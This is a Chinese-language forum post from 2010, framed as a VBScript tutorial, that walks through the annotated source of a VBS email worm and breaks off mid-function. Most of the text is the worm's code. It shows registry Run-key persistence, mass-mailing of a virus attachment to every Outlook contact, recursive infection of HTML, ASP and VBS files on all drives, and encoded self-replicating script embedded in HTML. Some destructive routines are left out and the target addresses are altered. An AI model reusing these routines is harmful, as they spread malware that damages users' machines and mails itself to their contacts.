-- 作者:wangxinxin
-- 發布時間:2010-12-14 13:45:43
-- 通過對一個病毒源碼的分析,了解VBS腳本語言的應用-.net教程,VB.net語言
讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺得是不 是少了兩個字,應為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了 看文章,確實是將vbscript拒之了“窗”外,上網查了查相關資料,也多是文中提 供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。 對于一個真正充滿熱情的cfan來說,不僅要知其然,還要知其所以然,vbs病毒 真的很可怕嗎?從早期的宏病毒,到有名的“歡樂時光”病毒,“愛情蟲”病毒等, 無不來勢洶洶,其實許多生勢多是殺毒軟件商的炒做,讀了前文,筆者覺得有必要 為vbs正名,為了讓計算機更好,更高效的服務,我們決不應該回避優秀的軟件工具, 采取被動回避的策略,等同于因噎廢食。 本文通過對一個vbs病毒源碼的分析,介紹腳本語言在:文件系統,注冊表,以 及網絡郵件三個方面的具體應用和技巧。較早的“愛情蟲”等病毒,程序比較粗糙, 這個病毒結合了許多早期病毒的優點,程序代碼簡單,高效,充分展示了vbs的全面 特點,因此拿來與大家共享,如果將這個源碼作為一個vbs開發的微型幫助文檔,一 點不為過。讀者也可以通過此文揭開此類病毒的神秘面紗,不再談虎色變,先進的東 西都不敢用了。殺病毒嗎,筆者還是建議您購買一套殺毒軟件(幾十元的價格,一點 不貴),然后注意更新病毒庫就可以了。要學習 vbs,具有一些vb的基礎知識就夠了。 這個病毒的主要攻擊方法是:通過網絡及郵件進行傳播,并且不斷地向目標郵件服 務器發送大量郵件,并且在傳染過程中檢測網絡主機的名稱中是否有目標字符,如 果有則進行破壞攻擊。 下面將結合具體的程序逐步進行介紹,由于篇幅關系,對一些語句進行了縮減。 @ thank you! make use of other person to get rid of an enemy, white trap _2001 開場白,第一個字符“@”是這個病毒傳染時的標記 on error resume next 這一句很重要,主要是在程序執行時如果發生錯誤就接著 執行下一條語句,防止談出出錯對話框,否則就不能偷偷 的干壞事啦。這里有一個技巧,就是在程序編制調試階段, 最好不要這一條語句,因為它會忽略錯誤,使你的調試工 作不易完成。 dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str dim defpath, smailc, max_size, whb(), title(10) 聲明各個變量 smailc = 4 redim whb(smailc) whb(0) = "pr@witehous.gov" ... whb(3) = "ms@witehous.gov" 以上這四個郵件地址就是被攻擊的目標,當然已經進行了修改,不是真實地址 title(0) = "thanks for helping me!" ... title(8) = "the sitting is open!" title(9) = "" 以上這十條字符串是病毒執行時隨機顯示在ie標題欄里的信息。如果你的ie標題欄 顯示了其中的某條信息,呵呵,一定要接著往下看 defpath = "c:\\readme.html" 將隨郵件一起發送的病毒體 max_size = 100000 mswkey = "hkey_local_machine\\software\\microsoft\\windows\\" hcuw = "hkey_current_user\\software\\microsoft\\wab\\" 定義兩個注冊表的鍵值變量 main 執行主函數
下面就是程序中所需的各個函數的定義部分,整個vbs程序將由windows目錄中的 wscript.exe文件解釋執行,如果將這個文件改名或刪除,當然vbs程序也就不能執行 了,如此便阻止了病毒的執行。在用殺毒軟件殺毒時,往往病毒傳播的速度要比殺 毒的速度快,如果出現這種情況,應該先將wscript.exe文件改名,阻止病毒傳播, 等殺完毒后,再改回來,不致影響其他正常的vbs程序的執行。 sub main() on error resume next dim w_s w_s= wscript.scriptfullname 得到此文件名稱 if w_s = "" then err.clear set fso = createobject("scripting.filesystemobject") 隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系 統對象(filesystemobject)。這個對象,及一些相關對象,封裝了所有 的文件操作。這個病毒程序基本展示了所有的這些操作,因此,如果您要 利用vbs進行文件操作編程,將這個病毒源碼作為參考文檔,肯定不錯。 if geterr then randomize ra = int(rnd() * 7) doucment.write title(ra) executemail 打開有毒的頁面 else executepage 賦值成功,進行傳染,攻擊 end if else executevbs 從病毒體文件“system.dll”提取病毒 end if end sub
function geterr() 本函數主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象, 內容略 end function
sub executepage() dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2 vbs_str = getscriptcode("vbscript") 獲得此程序的vbscript code js_str = getjavascript() code_str = makescript(encrypt(vbs_str),true) 進行加密處理 html_str = makehtml(encrypt(vbs_str), true) gf wdsf = w2 & "mdm.vbs" wdsf2 = w1 & "profile.vbs" wdf = w2 & "user.dll" wdf2 = w2 & "readme.html" wdf3 = w2 & "system.dll"
set vf = fso.opentextfile (wdf, 2, true) vf.write vbs_str vf.close 僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數 opentextfile (wdf, 2, true)的三個參數分別是: ①文件名,②讀=1或寫=2,③文件不存在時是否創建; 當前,filesystemobject對于文本文件的操作有較強的優勢,對binary文件 的操作還有待加強。下面依次生成其他的文件,內容略
writereg mswkey & "currentversion\\run\\mdm", wdsf, "" writereg mswkey & "currentversion\\runservices\\profile", wdsf2, "" 將mdm.vbs,profile.vbs兩個腳本文件加入到啟動組當中,隨win啟動自動執行 sendmail hackpage if testuser then killhe else mk75 end if set adi = fso.drives 所有驅動器對象 for each x in adi 遍歷所有的驅動器 if x.drivestype = 2 or x.drivestype = 3 then call searchhtml(x & "\\") end if next if fso.fileexists(defpath) then fso.deletefile defpath 如果存在"c:\\readme.html" ,就刪除它 end sub
sub executemail() 此函數制作病毒文件"c:\\readme.html" ,并打開它, 由這一段程序,可以看出vbs的簡潔高效 on error resume next vbs_str = getscriptcode("vbscript") js_str = getjavascript() set stl = createobject("scriptlet.typelib") with stl .reset .path = defpath .doc = makehtml(encrypt(vbs_str), true) .write() end with window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" end sub
sub executevbs() on error resume next dim x, adi, wvbs, ws, vf set fso = createobject("scripting.filesystemobject") set wvbs = createobject("wscript.shell") gf wvbs.regwrite mswkey & "windows scripting host\\setings\\timeout", 0, "reg_dword" set vf = fso.opentextfile (w2 & "system.dll", 1) code_str = vf.readall() vf.close hackpage sendmail if testuser then killhe else mk75 end if set adi = fso.drives for each x in adi if x.drivestype = 2 or x.drivestype = 3 then call searchhtml(x & "\\") end if next end sub
sub gf() w1=fso.getspecialfolder(0) & "\\" 獲得windows的路徑名, w2=fso.getspecialfolder(1) & "\\" 獲得系統文件夾路徑名 end sub
function readreg(key_str) set tmps = createobject("wscript.shell") readreg = tmps.regread(key_str) set tmps = nothing end function
function writereg(key_str, newvalue, vtype) 對注冊表進行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。 set tmps = createobject("wscript.shell") if vtype="" then tmps.regwrite key_str, newvalue else tmps.regwrite key_str, newvalue, vtype end if set tmps = nothing 關閉不用的資源,算是病毒的良好行為 end function
function makehtml(sbuffer, ihtml) 制作html文件的內容 dim ra randomize ra = int(rnd() * 7) makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _ "<bo" & "ad>" & vbcrlf & makescript(sbuffer, ihtml) & vbcrlf & _ "<" & "/boad><" & "/html>" end function
function makescript(codestr, ihtml) 制作病毒的可執行script code if ihtml then dim docuwrite docuwrite = "document.write(<+" & "script language=javascript>\\n+" & _ "jword" & "+\\n</" & "+script>);" docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\\n+" & _ "nword" & "+\\n</" & "+script>);" makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _ chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _ chr(34) & codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _ "jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>" else makescript= "<" & "script language=javascript>" & codestr & "</" & "script>" end if end function
function getscriptcode(languages) 此函數獲得運行時的script code, 內容略 end function
function getjavascript() getjavascript = getscriptcode("javascript") end function
function testuser() 此函數通過鍵值檢測網絡主機是否是攻擊目標 內容略 end function
function mk75() 檢測日期是否符合,如果符合,發控制臺命令,使系統癱瘓 end function
function sendmail() 利用outlook發送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序, outlook可以作為一個自動化服務器(automation servers),因此很容易實現自動發送 郵件,從這里也可以看出,先進的東西難免會被反面利用,如果你也想用程序控制發送 郵件,可以仔細研究下面的代碼, on error resume next dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at randomize at=fso.getspecialfolder(1) & "\\readme.html" 要發送的附件文件 set oa = createobject("outlook.application") 制作outlook對象 set wab = oa.getnamespace("mapi") 取得outlook mapi名字空間 for j = 1 to wab.addresslists.count 遍歷所有聯系人 eins = wab.addresslists(j) wreg=readreg (hcuw & eins) if (wreg="") then wreg = 1 eaec = eins.addressentries.count 地址表的email記錄數 if (eaec > int(wreg)) then for x = 1 to eaec arrsm = wab.addressentries(x) areg = readreg(hcuw & arrsm) 讀注冊表中的標記,避免重復發送 if (areg = "") then set fm = wab.createitem(0) 創建新郵件 with fm ra = int(rnd() * 7) .recipients.add arrsm 收件人 .subject = title(ra) 郵件的標題 .body = title(ra) 郵件的正文內容 .attachments at 病毒文件作為附件 .send 發送郵件 writereg hcuw & arrsm, 1, "reg_dword" end with end if next end if writereg hcuw & eins, eaec, "" next set oa = nothing window.settimeout "sendmail()", 10000 每100秒發送一次 end function
sub searchhtml(path) 這個函數遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型 的樣例代碼 on error resume next dim pfo, psfo, pf, ps, pfi, ext if instr(path, fso.getspecialfolder(2)) > 0 then exit sub fso.getspecialfolder(2)獲得臨時文件夾路徑名, fso.getspecialfolder(0)獲得windows的路徑名, fso.getspecialfolder(1)獲得系統文件夾路徑名 set pfo = fso.getfolder(path) set psfo = pfo.subfolders for each ps in psfo searchhtml(ps.path) set pf = ps.files for each pfi in pf ext = lcase(fso.getextensionname(pfi.path)) if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then if code_str<>"" then addhead pfi.path, pfi, 1 elseif ext= "vbs" then addhead pfi.path,pfi, 2 end if next next end sub
sub killhe() 看函數名就知道硬盤又要倒霉啦 end sub
sub hackpage() dim fi
|